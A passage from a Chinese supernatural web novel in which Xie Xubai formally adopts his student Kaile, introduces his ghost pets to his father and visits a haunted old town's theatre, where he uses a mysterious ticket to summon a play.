刚走出去几步路,感受着从后投射来的目光,谢叙白突然停下脚步,后知后觉地意识到了奇怪。 他转过身,看着吕向财,轻声问:“你为什么不问我接下来的安排?” 诡异世界,实力的增长有迹可循,通过气场和威压的变化就能感受出来。 上一次获得江家继承人的称号,吕向财几乎一见面就发现他变强了,并高兴道贺。 这一次拿到第一医院副院长的职称,他的精神力更上一层楼,甚至对以往捉摸不清的吕向财的实力,都有了一个大概的估量。 吕向财却什么反应都没有,笑眯眯地只谈一些琐事闲事。 谢叙白观察着吕向财的表情细节,忽然眉梢轻挑,笃定不移地笑道:“很快你就能重获自由了,难道不值得高兴吗?” 就像他们最初约定的那样,吕向财提供渠道和资源帮谢叙白快速变强,作为回报,谢叙白必将在实力足够时,为吕向财取下囚困对方多年的镣铐。 谢叙白的愈发强大,意味着吕向财离自由更进一步,对方应该积极的、迫不及待的,而不是如今这样深沉且满不在乎。 吕向财被问住了。 或许也意识到了这个问题,他陷入沉默,直勾勾地盯着谢叙白。 视线从头打量到脚,懒洋洋的微笑霎时不见,好似窥见了谢叙白身上那股沉甸甸的重压,取而代之的是一股近乎灼痛的情绪,无法清楚地辨析。 半晌,吕向财慢慢地吐出一句:“不要想了,你还不够强。” “我之前就说过了,一定要注重劳逸结合,看你现在都把自己逼成了什么样,老是疑神疑鬼。你刚才是不是还在想,我这里到底出了什么问题?” 他复而勾起唇角,桃花眼浮现一抹狡黠的笑,朝谢叙白挤眉弄眼:“我怎么可能不期待?每一分每一秒,我都在期待有一天你能助我脱离苦海,锦旗我都给你提前定好了,到时候我连人带命全是你的。上市百强公司业内知名吕秘书给你当牛做马,感动不感动?” “不敢动也不敢收。”谢叙白知道吕向财平生最恨束缚,顺势笑着调侃回去,“你说这番话,还不如出去旅游的时候多给我寄几张明信片实在。” “大漠孤烟、日照金山、江南烟雨、霜染松林……”他慢慢地念着,这些词从他染着笑意的嗓音中说出来,莫名有股让人轻松愉悦的味道,“山河壮阔秀丽,人活一世,总该去看一看,那不正是你的毕生所愿吗?” 吕向财动容了,一颗死寂的心被谢叙白充满希望坚定的眼神高高托起,什么都没说,瞳孔却颤得发慌。 俩人视线交汇的几秒钟,他好像有很多话想要吐露,最后神色一舒:“还是你懂我。” 吕向财垂睫站在公司出入口的门廊下,阳光从上而下打在立柱上,在光滑的大理石地面投射出一道泾渭分明的阴影,斜着擦过他的脚尖。 像是一堵无形的铁栅栏,将他铐在暗无天日的深渊。 吕向财艰难地吐出一口气,机械性地强调道:“但你还不够强。所以,再等一等,等一等……” 当天下午,谢叙白回到家中。 一看见他,平安一改往日的沉稳庄重,“嘤嘤嘤——!”将他扑倒,大尾巴激动地摇成螺旋桨,毛茸茸的脑袋疯狂地在谢叙白的胸口蹭来蹭去,紧张不已地去嗅那可能存在的血腥味。 小家伙们也围在谢叙白的周围,地盘不巡逻了,觉也不睡了。 往日迟钝的它们,好似感受到什么,柔软蓬松的小身体来回用力地蹭着谢叙白的手臂和裤腿,挤来挤去,像是要通过这卖力的动作,透过亲昵贴贴的血肉,将安慰送进谢叙白的心里。 连本该上学的江凯乐也请假在家,谢叙白心疼地用双臂托起平安,柔声拍哄,对上少年闪烁着波光的眼睛。 瞬间江凯乐就绷不住了,一个箭步冲进谢叙白的怀里,咬着腮帮子说:“老师,下次我跟你一起去!” 谢叙白能将自己的情绪伪装得滴水不漏,但在意的人总能感应到那微乎其微的差别。 听到大家此起彼伏的嘘寒问暖,谢叙白眉眼弯弯,挨个揉过去,用手搂着江凯乐的后脑勺按在胸口,将脸埋入平安热乎乎的肚皮,也用力地回蹭几下,充满歉意地说:“对不起,让你们担心了。” 也是这天晚上,谢叙白摩挲金丝眼镜,另一只手有一搭没一搭地拍哄小家伙们,金光在卧室中连成一片,似璀璨柔和的银河光带,温柔地映照着小家伙们安稳酣然的睡颜。 他睡不着,心里想着许多事,躲不过现在过去和未来,也不可避免地想到隐忍压抑的吕向财。 【吕向财说我还不够强,或许不是虚言。但我大概了解宴朔的为人,不会强迫别人做事,也不屑于强迫。以他的性格,就算吕向财偷偷旷工溜出去十天半个月没消息,估计也不会皱一下眉头。】 【应该不是宴朔困住了吕向财……如果不是祂,又会是什么?】 谢叙白的手中停在半空,随着他专注的沉思,冥冥中仿佛有一股玄之又玄的力量引导着他伸出手。 就在前方……有什么东西…… 同时他更感困倦,迷迷糊糊,眼皮子打颤,终于,他“窥见”眼前掠过一道蜘蛛丝般轻盈缥缈的线条,条件反射地抓过去,清楚地感觉自己本该空荡荡的手里多了一份实质的触感。 谢叙白猛然睁开眼。 小家伙们都没有醒,除他以外无人被惊动。他定睛一看,发现手里正捏着薄薄一张纸,凭空出现,纸面泛黄,朱红笔墨写着“红阴戏剧”四个大字,似血蜿蜒流淌。 深夜寒意袭来,窗外树影摇曳。在呼吸声断断续续的卧室内,一股诡谲的气息逐渐蔓延。 第130章 一家人的休闲时光…… 转眼来到周一早上。 一般迁移户口需要到迁入、迁出地的派出所办理手续。法律消失后,大概是为了维护社会的基本运行,新出现的专职机构填补了这部分空缺。 整洁安静的办公大厅内,工作人员给新打印的内页、增减页依次盖章,和户口本一起交给谢叙白,看向旁边忐忑站立的少年人,和颜悦色地说:“恭喜,孩子。” 她一眼就注意到,少年从进入大厅开始,就像条小尾巴似的紧紧跟在谢叙白的身后,眼底的依赖几乎满溢出来。 刚才她盖章,这少年也是伸长脖子,眼巴巴地盯着,想必对这一次过户期待已久。 听到这话,少年一愣,嘴唇动了动,像是还恍惚着,不知道该怎么反应。 直至谢叙白拍了一下他的肩膀,将资料递过去,对他笑着说:“还没睡醒呢?来,自己装。” 少年回神,忙不迭地接了过去,有些笨拙地翻开户口本,将崭新的内页装入透明的塑料保护套。 不知道是紧张还是激动,手忙脚乱好一会儿,才给装进去。 他顿了顿,拇指抵住活页。 往上一翻是谢叙白的内页,往下一翻就是他,蓝纸黑字写着:谢凯乐。 江,不,谢凯乐的眼睛唰一下红了个彻底。 他盯着自己的新名字,过往种种忽然如走马观花般从眼前掠过。 黑暗无光的反省室,撕破空气的簌簌鞭声,地砖永远洗不净的血色,妈妈没来由的漠视厌恶,佣人的惨叫求饶,江家亲辈丑恶残忍的嘴脸…… 深吸一口气,谢凯乐和工作人员说了一声谢谢,宝贝似的将户口本抱在怀里,红着眼看向谢叙白,唤道:“老师。” “乖。”谢叙白怜惜地揉揉他的头发,搂着他的后脑勺按在怀里,郑重地说,“老师在。” 谢凯乐瞳孔一颤,紧跟着死死咬住嘴唇,像小草依偎大树,将脑袋深深地埋在对方的胸口。 那些痛苦和忍耐,那些无助和压抑,似乎都这一刻烧成灰烬,随穿堂呼啸的风一缕缕地消散无影。 回到车上,小家伙们纷纷好奇地围过来,争着要看少年怀里的户口本。 谢凯乐极其珍惜地翻开,瞬间车内“喵嗷!汪汪!”,响起一阵稀罕艳羡的叫唤。 【这就是人类的契约耶!】 【是不是代表乐乐和白白是一家人了?】 【好羡慕哦。】 本还有些惆怅的少年一听,情不自禁地勾起唇角。 小触手瞄一眼,什么也没说,下一秒飞一般蹿到刚上车的谢叙白肩膀上,黏黏糊糊地勾住他的手指,可怜巴巴撒娇:【白白,我也要和你上户口——】 后座上的一只大橘抖抖胡子,遗憾地呜咪一声:【可是我问过别的猫,只有人类才能上人类的户口。】 此话一出,车内登时哀声连连。 谢叙白从后视镜里看见它们蔫头耷脑的失落模样,笑了笑:“没关系,过后我问问朋友,应该可以让大家都入户。” 猫猫狗狗一听,瞬间爆出兴高采烈的欢呼声。 也有比较成熟的小家伙,知道人类规矩多且繁琐,它们不仅是非人类,甚至还不是活物,只怕实施起来没有那么容易,担心地叫一声:【但我们有好多只,会不会给你添麻烦呀?】 人类本来就很忙碌了,要是因为这件事变得更累的话,那可不行。 “你们都是我的小家伙,又有什么麻烦的?”谢叙白莞尔一笑,淡然恬静的语气仿佛有着山岳般厚重的份量,“不过,就算没有纸面上的条文契约,也永远不会改变我们是一家人的事实。” 一瞬间,吵吵嚷嚷的车内变得安静下来。 大概半个多小时后,裴玉衡在医院门口等到来接他的谢叙白。 车窗单面防窥,他一时没有注意到主驾驶座的动静。 直至打开副驾驶的车门,裴玉衡被眼前不停涌动的“毛绒玩具山”吓了一跳。 细看才发现是一只只挤在一起的猫狗阴魂,谢叙白的脸直接被捂得严严实实,他立时满脑门黑线,连忙揪着后颈拎下来两只:“你身上的这些都是什么?” 猫猫狗狗很有分寸,人类开车的时候克制着没有扑上去。 直至车停稳,它们才终于忍不住争先恐后地抱住谢叙白。 像没有断奶的小树袋熊,黏糊得紧,眯着眼睛疯狂地蹭来蹭去,动作稍微慢一点的,直接就被挤到了后一排。 阴魂半虚半实,可以控制自己的重量。谢叙白没感觉到压力,想来是小家伙们仔细控制着自己的身体。 他好脾气地任由它们胡闹,止不住的闷笑声从毛绒堆里传开,顺势抱起一只揉搓小脑袋,语调带着炫耀的意味:“之前不是说过吗,我家的小猫小狗,看,它们是不是很可爱?” 裴玉衡早知道他养了几十只猫狗,但一直没有亲眼见过,也没什么实感,拧着眉头复杂地盯了一会儿,又听谢叙白说:“乖,还不快叫人?” 小猫被他拍拍脑袋,顿时嗲着柔软的声喵喵叫起来,听在裴玉衡的耳朵里,就是一连串的“爷爷!爷爷!” 裴玉衡手一哆嗦,拎着的两只小家伙直接落在座位上。 它们回头,看看谢叙白充斥着鼓励的眼神,也不怕生,昂着小脑袋从善如流地蹭上了中年男人的身体,也跟着叫唤起来。 裴玉衡这辈子都没想过自己会平白多出这么多“孙子孙女”,内心冲击极大,又是疏离冷淡的性子,浑身上下写满不自在,生硬地摆了摆手:“好了,好了。” 这让后座刚鼓起勇气想要开口的少年,一下子闭上了嘴。 谢叙白不经意地往后一瞄,笑道:“今天是乐乐回家的日子,你这个当爷爷的,难道不得表示一下?” 再是性情清冷的人,经这么一闹都得破功。裴玉衡面无表情地系上安全带,无声看过去,做口型:小兔崽子,作弄你爹没完了? 谢叙白回以无辜的目光。 一般人肯定接受不了喜当爷,加上少年心里有股说不出的自卑,生怕裴玉衡因为自己的事对谢叙白产生意见,倏然正襟危坐,试图打圆场:“老师,不用……” 裴玉衡闻声往后看,和少年的目光交汇在一起。 同为诡王,双方都能感受到不同程度的气场相斥。少年浑身寒毛直竖,像在审讯室接受审视,下意识扣紧座椅,强忍炸起鳞片暴露本貌的冲动。 谢叙白:“你别吓到他了。” 裴玉衡瞥他:“我有这么可怕吗?” 说着,从大衣内侧的夹层拿出一个红包,给少年递过去:“见面礼。” 又扫了一圈车里的小家伙们,硬巴巴地说:“其他的,没带这么多,等我回去再准备一下。” 谢叙白见少年还在愣神,笑着提醒:“还不快接着。” 少年忙不迭接过道谢,一摸才发现有问题,里面包着的好像不是现金。 他偷偷往前面看了看,打开红包,倒出来一枚门店钥匙,还有一张卡片,上面写着某某零食店,下面是地址和电话。 裴玉衡解释说:“听阿余说你有些馋嘴,爱吃零食,但外面买的,总不如自家能把控好卫生和品质。门店有人负责经营,你想吃什么,直接打电话过去,让店员送到家。” 谢凯乐瞬间握紧了那枚钥匙。 他曾是江家继承人,试问什么高级定制、奢侈品、山珍海味没见过?但在他看来,那些东西比不上一丝老师送给他的水果糖。 同样,看着裴玉衡为他认真挑选的礼物,少年不由得心生触动:“谢谢……爷爷。” 裴玉衡嗯了一声。 吃过午饭,谢叙白联系房产中介看房。既然是全家以后生活的地方,那就得看仔细,光照、地处位置、环境交通,方方面面都得考虑到。 小家伙们见这里有大花园,玩心作祟,一下就跑没了影,在各个地方尽情撒欢。 谢凯乐带着一部分猫猫狗狗,去探视周围或者邻居家里有没有脏东西,排查安全问题。 平安随行在谢叙白的身边,仰着脑袋看向自己的主人,无意识地摇摇尾巴,后者打开运动摄像头,给吕向财直播房子的情况。 中介是吕向财的人,静候一旁,听着吕向财电话里的犀利点评,一时被说得汗流浃背,战战兢兢,总结所有瑕疵问题,连连保证之后的房源一定不会出现这些毛病。 谢叙白不用操持场面,难得清闲,装修看房这方面,他也确实没经验,中途听吕向财的话,将运动摄像机交给中介,让人听指挥去了,自己在一旁坐着躲懒。 没一会儿,一把金灿灿的小锁坠在他的眼前。 “这是……长命锁?”谢叙白看向身后的裴玉衡。 “嗯。”中年男人说,“本来小时候就该给你戴上……” 他止住话茬,陷入沉默,大抵是想起那些年的风风雨雨和阴差阳错。 谢叙白轻轻应了一声,将长命锁接过去。小锁做工极其精致,几乎看不见人工打磨的纹理,质地是黄金,然而触手温润不显得冰冷,不知道用了什么精巧的打造技艺。 “我的阿余。”裴玉衡揉上他的脑袋,声音缓慢诚挚,“要年年有余,活得长命,活得开心。” 谢叙白默了默,笑着保证:“会的,爸。” “我们都会的。” 不远处,夕阳渐渐坠入天际线,昏暗低沉的暮色攀入高空。城市街道上的霓虹灯亮起,唯独红阴古镇的周围一片寂静,空气中弥漫着丝丝凉意。 直至穿白衣戴面具的工作人员走出,在入口处挂上大红色的灯笼,等候已久的游客激动地鱼贯而入,夜市开始。《 》 130-140 第131章 点戏【吕向财单元事件…… 冬季将近,天色黑得很快,沉甸甸的云层挤压着高空。 古镇坐落在视野开阔的地带,一串串红灯笼垂落在道路两旁,底下系着的摇铃随风而动,白色纸签轻晃。门口游客来来往往,笑声不断,举着手机拍照留影。 从这个角度看过去,整座古镇看起来没有任何异常。 然而周围的居民楼、商店听不到一点活物活动的声音,所有灯光在不知不觉中熄灭,陷入死寂。 楼房环绕古镇,一栋连着一栋,沉默地矗立着,像一片潜伏着未知危险的黑暗丛林。 喧嚣热闹的人声在这时潮水般回荡传开,古镇灯彩愈发红艳耀眼,仿佛黑暗中一抹摇曳的烛火,诱人前往。 谢叙白在离古镇还有一段距离的位置停车,静静地注视那片橘红的灯光。 车窗玻璃倒映着他清瘦的脸庞,眉眼深邃清晰,一切将要泛起的波澜都在顷刻间被藏进眼底。 “这天阴沉得很,一会儿可能要下雨。”谢叙白看了眼手机上的时间,才六点,天就完全黑了,转头和他们商量道,“要不我们过几天再来?” 裴玉衡:“都可以,假随时都能再请。” 平安不甚在意地瞥了一眼远处的古镇,视线挪回谢叙白的身上,摇晃尾巴,只要谢叙白在,去哪儿它都无所谓。 唯独谢凯乐看看谢叙白,又看看古镇,抿了抿嘴唇:“老师,门口好像有人在卖雨伞。” 谢叙白顺势看过去,石碑旁还真有一对满脸堆笑的大妈在卖伞,刚才没看见她,不知道是不是察觉到快要下雨才跑了出来。 忽然,大妈一扭头,隔着拥挤的人群,精准地看向谢叙白等人,脸上的笑容愈发深刻诡谲。 他们离古镇起码有上百米的距离,但车里的众人还是清楚地看见了大妈的脸,五官略看平凡朴实,细看透着说不出僵硬,像是画上去的一样。 裴玉衡皱皱眉,盯着那大妈,又重新审视了一会儿古镇,最后看向谢叙白,忽然改口,笑着说:“反正都到门口了,不如进去逛一逛。” 谢叙白无奈地说:“这地方一看就不太正常,您还想进去玩?” “有关系么。”裴玉衡淡淡地道,“我们这一车,除了你以外,谁正常?” 谢叙白闻声环顾车内,三个诡王加一堆阴魂,衬得那大妈死气沉沉的脸都变得生动活泼了起来。 他倏然一哂:“随手一选,挑了这么个鬼地方,您儿子我也不见得有多正常。” 几乎是车门一打开,古镇门口走走停停的人群猝然停下脚步,整齐划一地扭头。 几十双黑白分明的眼珠子直勾勾地盯着下车的谢叙白,目露垂涎,像是妖怪看见喷香的唐僧肉。 但紧跟着,谢凯乐下了车。 然后是裴玉衡,平安,以及浑身冒着黑色死气的猫猫狗狗。 看见猫狗没有直接落地,而是飘上半空,尖爪与獠牙外露,群魔乱舞般飞来飞去,卖伞大妈和游客们的脸色终于一点点地变了。 这时候的裴玉衡他们并没有显露出诡王气息。 谢叙白扭头锁车的功夫,原地等待的他们方才状似不经意地一扭头,睨向惊疑不定的人群。 猩红血色覆盖原本的瞳色,温情不再,只有冰冷、凶戾,无法抵抗的威压山呼海啸般震荡开来。 等谢叙白再一回头,发现原本“热闹”的古镇门口唰一下变得空荡荡。所有人抱着脑袋作鸟兽散,隐约能看见几道屁滚尿流落荒而逃的背影。 谢叙白:“……” 平安打了个哈欠,贴靠在他的脚边,摇摇尾巴。少年满脸乖巧,尽显单纯。裴玉衡说:“走吧,去买伞,你带零钱没有?” 卖伞的没跑,不是不想跑,而是不能。三个诡王的识念牢牢地锁在她身上,仿佛一动就会魂飞魄散。 摊子旁边没有二维码,谢叙白付了现金,在旁边两人一狗的虎视眈眈下,大妈哆哆嗦嗦地拿伞找零。 谢叙白问:“我们第一次来这个镇子,不知道里面有什么好玩的娱乐项目,您有推荐的吗?” 大妈神色发僵,鹌鹑似的缩着身子,结结巴巴地回答:“我来这儿的时间也不长,只知道……” 她忽然卡壳,机械地回答:“知道顺着这条道往里走,深处有个红阴大剧院,里面请的都是些名角儿,戏还挺好听,叫许多人念念不忘,我们这儿最有名的也是它。” 谢叙白倏然一顿,淡然的目光锐利起来,看着大妈,再问:“除此之外呢?” 大妈像是被人拔掉发条的木偶,闭着嘴巴,呆呆愣愣不说话。 但或许是谢叙白身边那几位的眼神格外灼人,她浑身一抖,还是战战兢兢地开了口:“往里走几步就是夜市,前半段卖吃的喝的,后半段有文创展览……” 问完话,走远几步,谢叙白拿出刚才的找零,蓝色绿色的零钱变成了一沓冥币。 再拿起从对方那买的伞,各种花样的塑料伞,眨眼一变,成了纸糊的白伞。 回头看向古镇门口,大妈果不其然跑没了踪影。 旁边的裴玉衡将这些鬼伞鬼钱都接过去,拿在手里打量:“一些伥鬼而已,但形体发虚,力量不足,似乎无主,也不知道为什么还能继续存在。有这些东西在,如果出了事,倒不愁能不能再找到她。” “刚才她提到镇上的剧院,你看起来有点在意。”裴玉衡看向谢叙白,“想去就去。” 此话一出,谢叙白就知道他们一定察觉到了什么,倒显得自己的刻意隐瞒有些幼稚。 ——虽说也没怎么瞒。 他笑着叹了口气:“你们都不生气的吗?” “没有。”谢凯乐连忙摇头,双眼亮晶晶地看着谢叙白,嘿嘿自乐,“老师,你不知道我有多高兴。” 少年想起上个星期,谢叙白说医院出了事要加班,晚一天才回家。 明明只是晚一天而已。 可当家门打开,谢叙白立在昏暗的的走廊中,和以前一样微笑看向他的瞬间,一股难言的心悸和酸涩感如惊涛骇浪袭上少年的心头。 他忍不住冲上去抱住谢叙白,后者反手将他拥住。 不论谢叙白表现得有多么轻松自然,对亲密无间的家人来说,那些细微的变化,就足以说尽千辛万苦和诸多不易。 少年终于按捺不住,借着情绪,哭腔恳求谢叙白下一次犯险能带上他。不曾想,老师竟然真的将这一任性的请求放在了心上,没多久就笑着问他,要不要一起去红阴古镇。 按照谢叙白以往的做法,对方只会随便找一个由头,在众人都不知道的时间点,孤身过来一探究竟。 少年不知道老师究竟经历了什么,又是谁改变了老师,竟然愿意透露自己的处境,尝试让他们介入分担。他只知道,老师必然纠结过许多次,反反复复又挣扎了许久,才终于松口。 所以车上,对方忽然提议打道回府的时候,一贯无条件听从老师的少年才会猛然鼓起勇气,尝试提议留下。 所以,他真的很高兴。 谢叙白感知到少年的心意,不由得一顿,随后轻笑一声,揉揉对方的脑袋。 “那就走吧。” 裴玉衡看在眼里,没有多问什么,只大概一提这个地方的形成很诡异,由诡王领域的阴煞力量支撑,却感知不到诡王的存在。 一般情况下,他们这边足足三个诡王,别说进入对方的地盘,就是稍一靠近,都会像针刺头皮,引得此地主人烦躁生厌。 可是这么长的时间过去,却不见【规则】被触动,也不见此地诡王暴怒现身,驱逐外客。 领地意识与生俱来,与所统领的地域相系,即使临时有事离开,也会有所感知。 毫无动静,简直古怪。 这种情况,即便是见多识广的裴玉衡也从来没有遇见过。 卖伞大妈所指的方向只有一条路,没有分叉口。 穿过巷子,蜿蜒向前,尽头是一家剧院。 粉墙朱瓦红柱子,仿古时候的戏楼,檐廊下挂着大喜的红灯笼。 它壮丽高耸,装潢华贵,剧院头顶的牌匾写着“红阴大剧院”的字眼,即使破旧掉漆,依旧叫人一眼就和旁边的民房区分开。 几乎在谢叙白等人刚踏入剧院前的空地,黑漆漆没有一丝光亮的剧院内部唰一下灯火通明。 短短半秒不到,就从空冷死寂变得热闹无比,隐约能听到一道柔婉动人的曲调,从堂廊屏风后传出。 几位民国服务生打扮的人从里面健步如飞地跑出来,热情四溢地迎上他们:“贵客,快往里面请!” 谢叙白错步挡在前面,不动声色扫视他们一眼,不无遗憾地道:“不好意思,我们出门时走得急,不小心漏带了票,你们知道售票处在哪儿吗?” “没事没事。”其中一名服务生笑容不减,“听戏不用票。” “不用票?”谢叙白眉梢一挑,似乎开玩笑地问,“可这戏总不可能让我们白听吧?而且如果不用票,那这票又是拿来做什么的?” 他手掌一翻,拿出剧院的票。刚才说是漏带了,但也没说一张都没有,算是玩了个文字游戏。 看到这张票,几名服务生的笑容愈深,不,说笑已经不足以形容他们的表情,那是震惊,是欣喜若狂!像是溺水濒死的人在汹涌浪潮下看见一根救生的浮木。 “票!他有票!” 他们几乎扑到谢叙白的身上:“快进来吧,快进来啊!您有票,想听什么都可以!” 说着,还想上手强制地将谢叙白往里拽。 但还没等他们碰到人,旁边的少年和中年男人瞬间阴沉着脸钳住他们的手腕,手下一用力,咯吱咯吱,痛得几人脸色惨白,唉哟大叫。 谢叙白轻拍一下裴玉衡他们的手,摇头示意没事,两人才松了力气。谢叙白再问:“票有什么作用?为什么你们看见它会这么激动?” 服务生疼得哆嗦,却还是以一种狂热的表情,不加掩饰地盯着谢叙白:“因为有票的人才是真正的客人,能够点戏评戏,客人,您点我的戏吧,求求——” 话音未落,他仿佛被人扼住咽喉,浑身发僵黑气弥漫,双眼瞪圆说不出一个字来,抖着身体往后看。 只见门廊前站着一位美人,脸上戴着半遮白玉面具,一柄合欢扇轻掩唇角,绣着精致花纹的水袖霓裳随步履轻盈而动,巧步走来,落地无声,一颦一笑写尽妖异。 美人走一步,几名服务生就狠狠地抖一下,待走到面前时,他们几乎颤抖着匍匐在地。 只听人轻飘飘笑眯眯的声音从头顶传来:“几个不知死活的蠢东西,不知戏院规矩么,竟敢对尊客无礼。这几双手要是不知道该往哪里放,不如砍断了喂鱼。” 几人吓得魂飞魄散,眼泪鼻涕横流,忙不迭磕头求饶,美人似乎懒得再看他们一眼,转向谢叙白等人,含着水波的眸子在他们身上一扫,扇子轻晃,躬身作势:“下人冒昧,让尊客受惊了,您几位这边请。” 谢叙白没动身,往那些服务生的身上瞄了一眼,求饶声越来越小,他几乎感受不到这些人的气息了。 美人轻笑道:“客人心善,却不知这栋剧院的人包括我在内,都不是什么值得怜惜的。” “不过,有您赏去的这一眼,倒也可叫他们再苟延残喘些时间。” 像是应了对方的话,原本越来越安静的几个服务生猛地鲤鱼打挺,大呛一口气,哇的一声吐出不少水! 似是劫后余生的刺激叫他们冷汗淋漓,脸色白且浮囊,得像被水泡发似的,惊恐地环顾周遭,最后对着谢叙白感激地叩首拜谢:“多谢客人恩典!多谢客人恩典!” 对上谢叙白的眼睛,美人微微一笑,再次作势邀请:“请进。” 刚才那几名服务生哄闹喊出“票”字的时候,谢叙白听到戏院内部似乎安静了一瞬,随后爆发出激烈动静,仿佛要将天花板掀飞。 步入戏院内部,虽然依旧热热闹闹,欢声笑语不断,却远没有刚才他感知到的那般阵仗翻天。 客人喝茶听曲,每位工作人员都在规规矩矩地做自己的事,偶尔几道炙热的目光扫向他,也不敢多看,稍触即离。 是以谢叙白没感受到一点不自在。 霓裳美人引他们上二楼,在一个有屏风遮挡他人视线的雅座坐下,底下一楼的舞台上正有人在唱曲。 美人抬扇招呼一名服务生过来,那人殷勤地问:“几位想喝些什么茶?我们这儿有宋种、毛尖、蜜兰香,或是几位别的喜好,任何酒饮小吃都请随意吩咐,凭票全部免费享用。” 谢叙白问过其他人,要了绿茶、可乐还有宠物用的磨牙棒。 绿茶还好,但另外两样东西特别是后一种,未免有点戏弄人,岂料服务生一点意见都没有,笑盈盈地去准备了。 谢叙白环顾四座,发现不少偷偷看向他的身影,最后视线落在唱曲的旗袍女人身上,吴侬软语直叫人心肝酥麻。 他拿出票:“我用这张票点的戏,是不是和台上正在唱的不一样?” 此票一出,四面八方几乎所有工作人员的目光都齐刷刷地聚集过来。 唯独眼前的霓裳美人没表现出那么强烈的渴望,或许有,但很少。 对方笑道:“她唱的是曲,您点的是戏,自然不一样。但一样是看,是取悦您的演出,又有什么区别呢?” 谢叙白:“那我能点谁的戏?” 好似能听到他的话,四周似有若无的呼吸声加重。 美人笑眯眯地说:“只要是这剧院里的工作人员,都可以。” “被点戏的人能得到什么好处?” “好处可大了去了,毕竟咱们这里是戏院,出台率越高,名声越大,工资福利也就越多,地位自然跟着水涨船高。”美人风轻云淡地道。 谢叙白环视那些目光,比针锐利,比火滚烫。他问:“只是这些吗?” 美人忍俊不禁:“哪儿是‘只是这些’呀,这世人匆匆忙忙,追求的也不过碎银几两,唱一场戏就能得到名利欲,是多少人求之不得的福气?” 话说得在理,叫人无从反驳。 “点戏没有期限,这票如果现在不用,可以凭票一直出入剧院。票很珍贵,您多看看,有特别钟意喜欢的,再点ta的戏不迟。” 对方说着,就要告退,谢叙白把玩着手里的票,目视对方离开的背影,忽然问道:“你也是这里的工作人员?” 美人一僵,沉默地停在原地,少顷回头笑道:“是。” 谢叙白:“这戏院里有没有一个叫吕向财的人?” 美人:“您问的是真名还是艺名?” 谢叙白:“都问。” “若是真名,没听说过,若是艺名……” 美人噗呲笑一声:“恕我直言,这里的客人们都喜欢那些附庸风雅的,财字虽好,用作艺名却俗了些,怕是没人会用。” 谢叙白:“那有吗?” 美人肯定地摇了摇头:“没有。” “应该有,你再想想。” 美人先困惑,随后一副恍然大悟的样子,眼波流转,笑看对方:“原来尊客是为这人而来的,只是可惜,整个剧院的工作人员我都认识,确定没有叫吕向财的人,要不您再回去问问?” 谢叙白不说话了,无声地看着对方。 美人扇面半掩,目露遗憾,状似无辜地欠了欠身。 “那好。”谢叙白神色不变,抬眸出声。 在这除了唱曲声外静得出奇的氛围里,平静无澜的声线好似惊雷落地。 “反正我要找的人不在这,这票留着也没用,干脆就点你的戏吧。” 第132章 好戏开场 “等——!” 美人在谢叙白说话中途就似有察觉,惊愕出声想要劝阻,然而终究是晚了一步。 话一出口,谢叙白手中的票骤然无火自燃,但他发现这火并不伤人,便没松手。 火舌舔舐票面,点点黑灰飘散在半空,形似浓郁的黑色阴霾弥漫开来,压得人喘不过气。戏票没有被烧毁,反而像被橘红色的火焰洗尽铅华,露出原本的面貌。 在最中间“堂座”字样的底下,留有大片空白处,此时却宛如被人一笔一划地书写,朱红笔墨印着的戏名赫然浮现。 ——《荒河巨影》 也是在火烧起来的瞬间,一段从未见过的画面浮现在谢叙白的脑子里。 这画面是一个侧视角,比例完美,构图巧妙,画质清晰到每一个细节,精美得不同寻常,甚至有种刻意为之的感觉 。 整个画面,被最中间涌动的河水一分为二。 上方是一个瘦瘦小小看起来十多岁的孩子,他跪在河岸边,上半身压低,脸和河水离得非常近,仿佛下一秒脑袋就能没入水里。 他的手指呈抓握状,指节绷紧,用力地压进河岸边脏兮兮的泥泞,头发衣服被蹭得全是泥,胸口更是被大片的水淋湿透,睁大眼睛,竭力伸着脖子,眼球布满红血丝,惊恐地往湍急的河里看。 河下有巨影。 漆黑,边缘有凸起,一大团,占据整个河底,分不清是什么东西。它直勾勾地盯着小孩,好似在不断逼近,好似在无声地邀请。 裴玉衡几人在这时脸色微变,猛然站起身,只因他们发现了楼下的异样。 坐在戏台中央唱曲的女人早已下台,不知道从哪儿来的戏班子,手里拿着二胡,面前摆着月琴,托着大锣小锣,在两侧就位。 他们脸上大红大绿,画着浓厚的油彩,将原有的真容遮盖,嘴角怪异地高高上扬,热情洋溢地凝视着谢叙白的方位,仿佛整个戏楼里就剩下这唯一的客人。 戏台前也变了样,原本谢叙白入场时还疑惑,明明是个观戏的好位置,为什么会空荡荡,不置桌椅。 直至现在,倒三角阶梯状的座椅凭空出现,最靠前的一排,只有一个座位,刚好与戏台齐平,彰显着独一无二的尊贵。 待一切布置归位,美人深知不能再改变什么,沉默片刻,复杂地看了谢叙白一眼。 他的声音雌雄莫辨,方才是能酥进人骨子里的娇柔,如今大概是气恼谢叙白的自作主张,声调蓦然提高,多上两分低沉:“好戏将要开场,您自行在那些席位挑选个好位置,落座罢。” 谢叙白的戏票上有规定的座位,美人却让他自己选,目光所指,正是那第一排唯一的座位。 旁边的侍从见戏票被用了,大变脸一样,热情不再,满脸阴郁,恨得磨牙凿齿,立马尖声叫起来:“不行,这不合规矩!” 他这么一嚷,其他人也跟着躁动。 美人冷眼睨过去,那侍从立马像被掐住脖子,哽住声,又恨又怕地埋下脑袋。 于是美人笑了一声:“这观众席上就他一名看客,他选择坐在哪儿,这座剧院都没意见,又有谁能反对?” “再说了。”美人漫不经心地往楼下走,“他能拿出一张票,说不准就能拿出第二张、第三张,你们倒忍不住原形毕露,呜呜嚷嚷起来,想让客人厌上你们的丑态吗?” 侍从扭曲怀恨的表情僵在脸上,仿佛才想明白这回事,慌张地看向谢叙白,急于找补般解释道:“不是,客人,刚,刚才我是……” 谢叙白能感知他人的情绪,从见到这些侍从开始,他就知道这些人不怀好意,具体在不怀好意什么,他不清楚,但选择相信自己的直觉和判断,还有美人说的那句“不值得怜惜”。 没有理会面前辩解的侍从,谢叙白跟着戏票的指引,欲要往楼下走,谢凯乐担心地叫住他:“老师。” 谢叙白回头,少年抿了抿唇,似乎忧心忡忡,想要阻止他去做危险的事情,最后飒然一笑:“您放心去,没有人可以作怪。” 裴玉衡没有说话,只是看着他,点头颔首。平安摇摇尾巴,眼里是同样的信赖和支持。 谢叙白和他们视线交接,微微一笑,随即下楼,走向戏台前的坐席。 他们这边的谈话声不高不低,却好似所有人都听得见。 见谢叙白的票被用了,工作人员们整齐划一地恨声咒骂,比台上的戏子变脸都要快。 